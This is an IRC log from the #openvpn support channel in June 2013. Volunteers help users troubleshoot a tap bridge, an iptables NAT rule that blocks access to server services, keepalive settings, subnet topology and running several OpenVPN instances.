20:37 -!- swiftkey_ is now known as swiftkey
20:37 -!- swiftkey [swiftkey@2600:3c03::f03c:91ff:feae:aac] has quit [Changing host]
20:37 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
20:44 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
20:45 < nikkiheat> hello!
20:56 < nikkiheat> I am having problems bridging my vpn to the rest of my network. can anyone help me?
21:11 < Poster> what OS?
21:27 < nikkiheat> ubuntu 12.04 for the server, windows 7 for the client
21:32 < nikkiheat> I am trying to access the network that is attached to the server. I can ping the server but nothing else
21:32 < nikkiheat> everything else has my local machine's IP address returning as destination unreachable
21:34 < Poster> ok is the server using a tun or tap adapter?
21:34 < nikkiheat> tap
21:37 < Poster> ok and have you created an ethernet bridge on the server?
21:39 < nikkiheat> i think so?
21:39 < nikkiheat> i made a bridge in /etc/network/interfaces
21:39 < nikkiheat> or whatever
21:39 < nikkiheat> and added br0 and tap0
21:42 < Poster> ok what about the internal interface?
21:42 < Poster> ethN?
21:49 < nikkiheat> sry i'm here on and off
21:49 < nikkiheat> its eth0
21:50 < Poster> ok so you have tap0 and eth0 (internal ethernet interface) configured in a bridge?
21:55 < nikkiheat> I think so?
21:55 < nikkiheat> how can i tell?
21:56 < Poster> I think it's something like
21:56 < Poster> brctl show br0
21:57 < nikkiheat> k
21:57 < nikkiheat> i'll do that asap
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:15 < nikkiheat> # This file describes the network interfaces available on your system
22:15 < nikkiheat> # and how to activate them. For more information, see interfaces(5).
22:15 < nikkiheat> # The loopback network interface
22:15 < nikkiheat> auto lo br0
22:15 < nikkiheat> iface lo inet loopback
22:15 < nikkiheat> # The primary network interface
22:15 < nikkiheat> ## This device provides internet access.
22:15 < nikkiheat> # auto eth0
22:15 < nikkiheat> # iface eth0 inet dhcp
22:15 < nikkiheat> iface br0 inet static
22:15 < nikkiheat>         address 192.168.187.41
22:15 < nikkiheat>         netmask 255.255.255.0
22:16 < nikkiheat> hmm, i shouldn't have done that...
22:17 < Poster> probably ok, best not get in the habit of doing so
22:17 < Poster> did you get output from
22:17 < nikkiheat> OH
22:17 < Poster> brctl show br0
22:17 < nikkiheat> derp
22:18 < nikkiheat> bridge name     bridge id               STP enabled     interfaces
22:18 < nikkiheat> br0             8000.00155dbb110c       no              eth0
22:18 < nikkiheat>                                                         tap0
22:18 < Poster> ok and your windows 7 system has an IP address that is valid on the network of eth0?
22:19 < nikkiheat> yes
22:19 < nikkiheat> it is getting 192.168.187.210
22:20 < Poster> is that coming from a DHCP server on the eth0 network?
22:20 < nikkiheat> eth0
22:20 < nikkiheat> well, br0
22:20 < Poster> you're running DHCP on br0?
22:20 < nikkiheat> it is coming from openvpn
22:26 < nikkiheat> so, yes
22:27 < Poster> ok from your windows 7 host, try to ping a host on the network of eth0
22:27 < Poster> when finished, from your shell window, type
22:27 < Poster> arp -a
22:27 < Poster> see if you see the mac address of your target host
22:28 < nikkiheat> its not there
22:28 < Poster> ok can you ping that same host from your Ubuntu OpenVPN server?
22:29 < nikkiheat> yes
22:29 < nikkiheat> i'm trying to ping 192.168.187.21
22:29 < nikkiheat> can't from win7, can from ubuntu
22:29 < Poster> is there a firewall enabled on the windows7 host?
22:31 < nikkiheat> just disabled it, and tried
22:31 < nikkiheat> the ping result chnaged from destination host unreachable to "request timed out"
22:31 < nikkiheat> destination host unreachable came from my local machine, not the openvpn server.
22:32 < Poster> ok are you running iptables on the Ubuntu OpenVPN server?
22:32 < nikkiheat> no
22:33 < Poster> ok for grins, type
22:33 < Poster> sudo iptables -L -n
22:33 < Poster> make sure you have ACCEPT on the INPUT, OUTPUT and FORWARD chains
22:33 < nikkiheat> I do.
22:33 < nikkiheat> and no rules other than that.
22:33 < nikkiheat> other than openvpn, this is pretty much a vanilla install
22:34 < nikkiheat> I have just messed with ssh settings
22:34 < nikkiheat> just spun this vpn up a while ago
22:34 < Poster> ok I have not done ethernet bridging in Ubuntu
22:34 < nikkiheat> hmmmm
22:34 < Poster> let's tear it down and rebuild manually for now
22:34 < nikkiheat> okay
22:34 < Poster> I want to say it's something like
22:34 < Poster> brctl br0 delif eth0
22:35 < Poster> brctl br0 delif eth1
22:35 < nikkiheat> now
22:35 < nikkiheat> before I begin...
22:35 < nikkiheat> I only have ssh access to this box
22:35 < Poster> oops
22:35 < nikkiheat> I do not have physicial access
22:35 < nikkiheat> so If I fubar the ssh access, i'm f'd.
22:35 < nikkiheat> fyi
22:35 < Poster> I don't think it should matter, I assume eth1 is the internet interface?
22:35 < nikkiheat> yes
22:36 < Poster> well I don't think there is an issue in removing the bridge
22:36 < nikkiheat> k
22:36 < Poster> but you may want to wait until you get physical access
22:36 < nikkiheat> I won't for like 3 months
22:36 < Poster> maybe a VM would be a good place to test this
22:36 < nikkiheat> It is a vm :D
22:36 < nikkiheat> lol
22:36 < nikkiheat> but i see what you mean
22:36 < nikkiheat> let me spin up a vm.
22:37 < nikkiheat> btw thanks for all this help. I'm very new to all this but am very excited to learn it all
22:37 < Poster> np, it's pretty cool stuff
22:37 < Poster> unless you really need it for some reason, bridging is generally inefficient
22:37 < Poster> routed networks is your best bet
22:37 < nikkiheat> what do you mean by that?
22:38 < nikkiheat> I'm still just working on my ccent
22:38 < nikkiheat> i'm not great with routing yet
22:38 < nikkiheat> and switching
22:38 < Poster> so in a bridged network will carry all the broadcast traffic
22:38 < nikkiheat> ah yes
22:38 < Poster> if you have many windows systems, they like to announce their presence fairly regularly
22:38 < nikkiheat> ofc
22:38 < Poster> in a bridge, all that traffic is going across the VPN link
22:38 < nikkiheat> and routed sets up separate broadcast domains
22:38 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
22:38 < Poster> yep
22:39 -!- ronnocol [~lance@mail.ronnoco.net] has joined #openvpn
22:39 < nikkiheat> okay, found an ubuntu vm
22:39 < nikkiheat> that I won't have to install :D
22:39 < nikkiheat> looks old but its 12.04
22:39 < Poster> 12.04 is the newest LTS
22:39 < Poster> nothing wrong there
22:39 < nikkiheat> yeah
22:40 < nikkiheat> fuuu
22:40 < nikkiheat> its 64bit and my laptop doesn't virtualize that. Could I use kali linux?
22:40 < Poster> if you're not there already, you'll find that LTS/Stable are popular in the business world
22:40 < Poster> you can get Ubuntu 12.04 LTS 32 bit
22:40 < nikkiheat> yeah, but i'd have to install it
22:40 < nikkiheat> i have an iso here
22:41 < nikkiheat> i just don' thave all night
22:41 < nikkiheat> wife aggro and such
22:41 -!- Willis [Willis@173.234.237.131] has joined #openvpn
22:41 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has quit [Ping timeout: 276 seconds]
22:41 -!- rheddry [~levifig@spwn.co] has quit [Ping timeout: 276 seconds]
22:41 -!- Willis_ [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
22:41 -!- ronnocol_ [~lance@mail.ronnoco.net] has quit [Remote host closed the connection]
22:41 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 276 seconds]
22:41 -!- MorgyN_ [~mig@island.morgyn.org] has quit [Ping timeout: 276 seconds]
22:41 < Poster> start the download and go spend some time with her
22:41 < Poster> multitasking -^
22:41 < nikkiheat> sure
22:41 < nikkiheat> well if you don't mind me being here and there
22:41 < nikkiheat> i already have the ISO
22:42 < nikkiheat> i've got my nas with me
22:42 < Poster> I need to drop out for the evening, but I should be around tomorrow
22:42 < nikkiheat> okay
22:42 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
22:42 < nikkiheat> i probably will be on much later
22:42 < nikkiheat> i work around 16 hours a day
22:42 < nikkiheat> but i'll mess around with this vm
22:42 < nikkiheat> it makes SO much more senese
22:42 < nikkiheat> thanks Poster
22:42 -!- levifig [~levifig@spwn.co] has joined #openvpn
22:42 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
22:45 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
22:48 -!- excalibr [citizen@unaffiliated/excalibr] has joined #openvpn
22:56 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
23:05 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 240 seconds]
23:07 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
23:17 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
23:19 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
23:21 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
23:29 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Ping timeout: 248 seconds]
23:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
23:39 -!- mode/#openvpn [+o krzee] by ChanServ
23:46 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Changing host]
23:46 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
--- Day changed Wed Jun 05 2013
00:00 -!- WarTux [~ryan@unaffiliated/wartux] has joined #openvpn
00:01 < WarTux> Hello, I have a problem with my openvpn setup
00:01 < WarTux> it is probably a firewall thing but I was hoping anyone here would have some insight...
00:02 < WarTux> I have a server with a tun interface on 172.16.0.1
00:02 < WarTux> clients can connect and ping the server
00:02 < WarTux> but if they try to access any services, they get connection refused
00:02 < WarTux> i.e. "could not connect to 172.16.0.1:80 - connection refused"
00:13 < WarTux> !welcome
00:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
00:13 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
00:22 <@krzee> WarTux, make sure the webserver is listening on that ip
00:22 <@krzee> if it is, then its your firewall (like you thought)
00:22 <@krzee> once you can ping, the vpn is working
00:22 < WarTux> It probably is the firewall, because I can do wget http://172.16.0.1 on the machine itself just fine
00:23 < WarTux> I'm sure there's some sysctl setting I have to turn on but I just don't know what it is
00:23 <@krzee> nope just the firewall
00:23 < WarTux> hmm, well my iptables are set to -P ACCEPT, so what else could be blocking it?
00:23 <@krzee> iptables-save
00:24 <@krzee> port to a pastebin
00:24 < WarTux> give me a second...
00:25 < WarTux> http://sprunge.us/HQia
00:25 < WarTux> it's not too complicated, all that crap in the OUTPUT chain has to do with another service
00:26 <@krzee> -A POSTROUTING -s 172.16.0.0/24 -o br0 -j MASQUERADE   ??
00:27 < WarTux> for clients to route all traffic through the server
00:27 < WarTux> which works, they just can't use services on the server
00:27 <@krzee> change that to say "except for traffic headed to 172.16.0.1"
00:27 < WarTux> Oh - good idea
00:28 <@krzee> =]
00:29 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has quit [Ping timeout: 245 seconds]
00:29 < WarTux> Nah no dice :\
00:31 <@krzee> you removed the other rule, right?
00:31 <@krzee> iptables-save > firewall
00:31 < WarTux> yeah, I cleared it
00:31 <@krzee> modify firewall file, iptables-restore < firewall
00:31 < WarTux> Alright, one second...
00:32 < WarTux> Nothing.
00:32 < WarTux> The iptables config is exactly the same minus that postrouting line
00:34 <@krzee> you removed the nat rule all together?
00:34 < WarTux> yes
00:34 <@krzee> 1sec
00:34 <@krzee> !man
00:34 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
00:35 <@krzee> iptables -A INPUT -i tun+ -j ACCEPT
00:35 < WarTux> I'll try that, but shouldn't that be implied because my input chain is set to accept?
00:35 <@krzee> ya but i dont use iptables much, add it anyways
00:36 < WarTux> nope
00:36 < WarTux> (no difference)
00:36 <@krzee> ild try in ##netfilter
00:36 < WarTux> Yeah, since this isn't an openvpn problem.
00:36 <@krzee> since you can ping, we know its not the vpn
00:36 < WarTux> but thanks for the help!
00:36 <@krzee> yep
00:36 <@krzee> np, i did try ;]
00:36 < WarTux> :)
00:36 -!- WarTux [~ryan@unaffiliated/wartux] has left #openvpn ["Leaving."]
00:52 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Connection reset by peer]
00:59 < excalibr> what exactly openvpn does when server pushes "redirect-gateway" to client
00:59 <@krzee> !man
00:59 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
00:59 <@krzee> its in there
01:01 < excalibr> mmm
01:04 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
01:10 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Quit: Leaving]
01:22 -!- vpopov [~happylife@dyn-32-122.fttbee.kis.ru] has joined #openvpn
01:28 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
01:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:57 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
02:00 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
02:00 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
02:00 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
02:01 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
02:01 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
02:03 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
02:15 -!- mcp [~mcp@wolk-project.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
02:18 -!- vpopov [~happylife@dyn-32-122.fttbee.kis.ru] has quit [Ping timeout: 248 seconds]
02:28 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
02:33 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:34 -!- brad`_ is now known as brad
02:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
02:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:51 -!- zeroXten_ [~zeroXten@0x10.co.uk] has quit [Quit: leaving]
02:51 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
03:03 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
03:05 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:10 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 248 seconds]
03:13 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
03:14 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
03:16 -!- michael_p [~michael@CPE-60-226-128-59.qld.bigpond.net.au] has joined #openvpn
03:16 < michael_p> hi
03:16 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
03:16 -!- mode/#openvpn [+o krzee] by ChanServ
03:17 < michael_p> what is open vpn
03:20 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
03:26 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
03:31 < EugeneKay> !vpn
03:31 <@vpnHelper> "vpn" is http://openvpn.net/index.php/open-source/faq/75-general/293-what-is-the-principle-behind-openvpn-tunnels.html for a basic rundown of what a vpn is
03:31 < EugeneKay> michael_p - read ^
03:34 -!- michael_p [~michael@CPE-60-226-128-59.qld.bigpond.net.au] has quit [Quit: Leaving]
03:35 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
03:35 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
03:35 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:37 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
03:48 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
03:48 -!- mode/#openvpn [+o krzee] by ChanServ
03:53 -!- Masxmasx{AFK} is now known as Masxmasx
03:53 -!- Masxmasx [~IetsVulga@u134.baconseed.org] has quit [Changing host]
03:53 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
03:54 < excalibr> what is vpn?
03:57 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
03:58 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
03:58 -!- mode/#openvpn [+o krzee] by ChanServ
04:06 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
04:11 < pppingme> excalibr a way to work from home
04:11 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 248 seconds]
04:14 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
04:20 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
04:21 -!- ichtys [~midacts@207.59.77.254] has joined #openvpn
04:22 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Client Quit]
04:23 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
04:25 -!- abyss_ [~abyss@i-free.pl] has joined #openvpn
04:25 -!- uuuppz_ [uuuppz@78.129.207.46] has joined #openvpn
04:25 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Disconnected by services]
04:26 -!- hive-min1 [pranq@unaffiliated/contempt] has joined #openvpn
04:26 -!- hive-min1 is now known as hive-mind
04:27 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:27 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 248 seconds]
04:30 -!- Netsplit *.net <-> *.split quits: uuuppz, zu, riddle, kantlivelong, sitaktif, joko, soapee01, Mike--, ele_, lbft,  (+8 more, use /NETSPLIT to show all of them)
04:30 -!- Netsplit *.net <-> *.split quits: dimm0k
04:30 -!- Netsplit over, joins: riddle, jgeboski, Mike--, joko, ele_, soapee01, dimm0k, Cultist, sitaktif, lbft (+5 more)
04:32 -!- Denial [Denial@90.208.15.68] has joined #openvpn
04:38 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
05:05 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
05:11 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
05:11 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Remote host closed the connection]
05:12 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
05:13 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: No route to host]
05:13 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:20 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn
05:20 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host]
05:20 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn
05:23 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:25 -!- paccer [uid4847@gateway/web/irccloud.com/x-tmsiakotdkhfhmeh] has joined #openvpn
05:35 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection]
05:40 -!- Netsplit *.net <-> *.split quits: zu, riddle, dimm0k, kantlivelong, sitaktif, joko, soapee01, Mike--, ele_, lbft,  (+5 more, use /NETSPLIT to show all of them)
05:43 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
05:45 -!- Netsplit over, joins: riddle, jgeboski, Mike--, joko, ele_, soapee01, dimm0k, Cultist, sitaktif, lbft (+5 more)
06:13 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
06:14 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
06:14 -!- mode/#openvpn [+o krzee] by ChanServ
06:16 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
06:16 < vaillor> hi guys
06:16 < vaillor> keepalive need to be setted on client or on server config?
06:19 -!- chenli [~chenli@59.108.60.58] has joined #openvpn
06:23 < janjust> read the man page , vaillor
06:23 < janjust> keepalive is a server setting
06:23 < janjust> but translates to some client side settings
06:23 < janjust> !keep-alive
06:23 < janjust> !keepalive
06:23 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
06:24 < chenli> Hello, I have a problem with openvpn, when my client connected to server, it get a IP "192.168.123.6", but "route print" shows that if I want to reach 192.168.123.1(server), I need to send packets to 192.168.1.5 first, now I am confused about that.
06:24 < janjust> this is normal, chenli  ; if you get confused by this, add 'topology subnet' to your server config
06:25 < janjust> the .5 address is a fake endpoint address for the point-to-point tun/tap-win32 adapter and can never be reached
06:26 < chenli> But if I use the same config file on a windows server, I will get 192.168.123.2 and 192.168.123.1 is at the same subnet.
06:26 < janjust> the server gets the .1 and .2 address, the first client gets .5 and .6 , the second client .9 and .10 etc
06:27 < chenli> I will try add "topology subnet" to my config file, thanks!
06:30 < chenli> Should I change "dev tun" to "dev tap" in client's config file? Client is running on windows.
06:35 < vaillor> janjust, sometimes, both remotely and in the same lan, my client disconnets and reconnects with a new ip
06:36 < vaillor> if the first connection is 10.8.0.6, after some minute/hour, the ip becomes 10.8.0.10, 10.8.0.14 and so on...
06:36 < vaillor> i'd like to know why
06:41 < chenli> To janjust: it works, thank you very much :)
07:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
07:06 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
07:19 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
07:27 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 260 seconds]
07:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:30 -!- Netsplit *.net <-> *.split quits: zu, dimm0k, riddle, kantlivelong, sitaktif, joko, soapee01, ele_, Mike--, lbft,  (+5 more, use /NETSPLIT to show all of them)
07:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
07:34 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
07:34 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
07:34 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
07:34 -!- riddle [riddle@us.yunix.net] has joined #openvpn
07:34 -!- joko [~joko@147.102.37.22] has joined #openvpn
07:34 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
07:34 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
07:34 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
07:34 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
07:34 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
07:34 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
07:34 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
07:34 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
07:34 -!- druid [~druid@unaffiliated/druid] has joined #openvpn
07:34 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
07:34 -!- joshie [~josh@joshie.net] has joined #openvpn
07:34 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection]
07:34 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
07:35 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
07:35 -!- mode/#openvpn [+o krzee] by ChanServ
07:36 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
07:38 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 245 seconds]
07:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:49 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
07:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
07:52 -!- mode/#openvpn [+o mattock] by ChanServ
08:02 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 240 seconds]
08:02 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 246 seconds]
08:06 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit [Ping timeout: 240 seconds]
08:07 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
08:09 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
08:17 -!- magoo [~mattw@209.114.46.149] has quit [Ping timeout: 246 seconds]
08:18 -!- magoo [~mattw@209.114.46.149] has joined #openvpn
08:18 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
08:19 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 260 seconds]
08:19 -!- MeanderingCode_ is now known as MeanderingCode
--- Log closed Wed Jun 05 08:24:16 2013
--- Log opened Wed Jun 05 08:29:31 2013
08:29 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
08:29 -!- Irssi: #openvpn: Total of 180 nicks [5 ops, 0 halfops, 0 voices, 175 normal]
08:29 -!- bitg [bitg@gateway/shell/xzibition.com/session] has joined #openvpn
08:29 -!- krzee [~k@2610:150:4002::3:1] has joined #openvpn
08:30 -!- Irssi: Join to #openvpn was synced in 93 secs
08:31 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Excess Flood]
08:31 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
08:33 -!- mjixx [~markus@80.67.14.31] has joined #openvpn
08:33 -!- havoc___ [~havoc@neptune.chaillet.net] has joined #openvpn
08:33 < ichtys> in the client config file, is there a way to change the path of the key and cert files? For instance, instead of 'ca ca.crt' could i use 'ca "c:\supersecret\ca.crt"'
08:33 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
08:33 < flo|va-nu-pied> hi all
08:33 < flo|va-nu-pied> i'd like to have multiple openvpn instance on the same server
08:33 < flo|va-nu-pied> I made 1 openvpn[A,B,C,D].conf for each instance
08:33 -!- pekster_ [~rewt@cl-466.chi-03.us.sixxs.net] has joined #openvpn
08:33 < flo|va-nu-pied> but it only start the first instance
08:33 < ichtys> You will need to create some additional TAP-WIN32 adapters if you haven't already.
08:33 < ichtys> http://serverfault.com/questions/155299/how-to-connect-multiple-vpns-using-openvpn-on-windows-7-on-the-same-time
08:33 <@vpnHelper> Title: How to connect multiple VPNs using OpenVPN on Windows 7 on the same time? - Server Fault (at serverfault.com)
08:33 -!- havoc___ [~havoc@neptune.chaillet.net] has quit [Client Quit]
08:33 < rob0> flo|va-nu-pied, what OS/distro is this?
08:33 -!- havoc___ [~havoc@neptune.chaillet.net] has joined #openvpn
08:33 < flo|va-nu-pied> ichtys: yeas
08:33 < flo|va-nu-pied> it's a linux server
08:33 < flo|va-nu-pied> but I did  it by changing tap name for eatch config file
08:33 < flo|va-nu-pied> tap1, tap2 tap3 ...
08:33 -!- master_of_master [~master_of@79.242.79.18] has joined #openvpn
08:33 < flo|va-nu-pied> RHEL5 x86_64
08:33 < ichtys> Sorry, i jumped the gun  :D
08:33 -!- andi____ [~andi@shell.sixhop.net] has joined #openvpn
08:33 < ichtys> rob0 had it right by asking what you were running, well played
08:33 < rob0> I guess your problem is with the RH init script. See their documentation of what it's supposed to do.
08:33 -!- ingmar5 [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
08:33 < flo|va-nu-pied> :) thanks rob0
08:33 < flo|va-nu-pied> by saying that you mean that the way I do is correct and the problem is spécifig to my distro ?
08:33 < rob0> Some init scripts will start any /etc/openvpn/*.conf file
08:33 -!- Netsplit *.net <-> *.split quits: eliasp, havoc, Wintereise, andi, @ecrist, DrCode, trumee, master_o1_master, mjixx_
08:33 < rob0> yours apparently does not
08:33 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
08:33 < rob0> and indeed, the init scripts are provided by the distro, not by OpenVPN.
08:33 -!- havoc___ is now known as havoc
08:33 < flo|va-nu-pied> that's what I saught
08:33 < flo|va-nu-pied> i'll have a look
08:33 < flo|va-nu-pied> indead :)
08:33 -!- Netsplit over, joins: trumee
08:33 < flo|va-nu-pied> "# - Starts an openvpn process for each .conf file it finds in /etc/openvpn."
08:33 < flo|va-nu-pied> sad ...
08:35 -!- Denial- [~Denial@90.208.15.68] has joined #openvpn
08:37 -!- Denial [Denial@90.208.15.68] has quit [Ping timeout: 264 seconds]
08:37 -!- ikrabbe is now known as 18VAA8UFV
08:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:37 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-jujsoftksbbrvkcc] has quit [Ping timeout: 264 seconds]
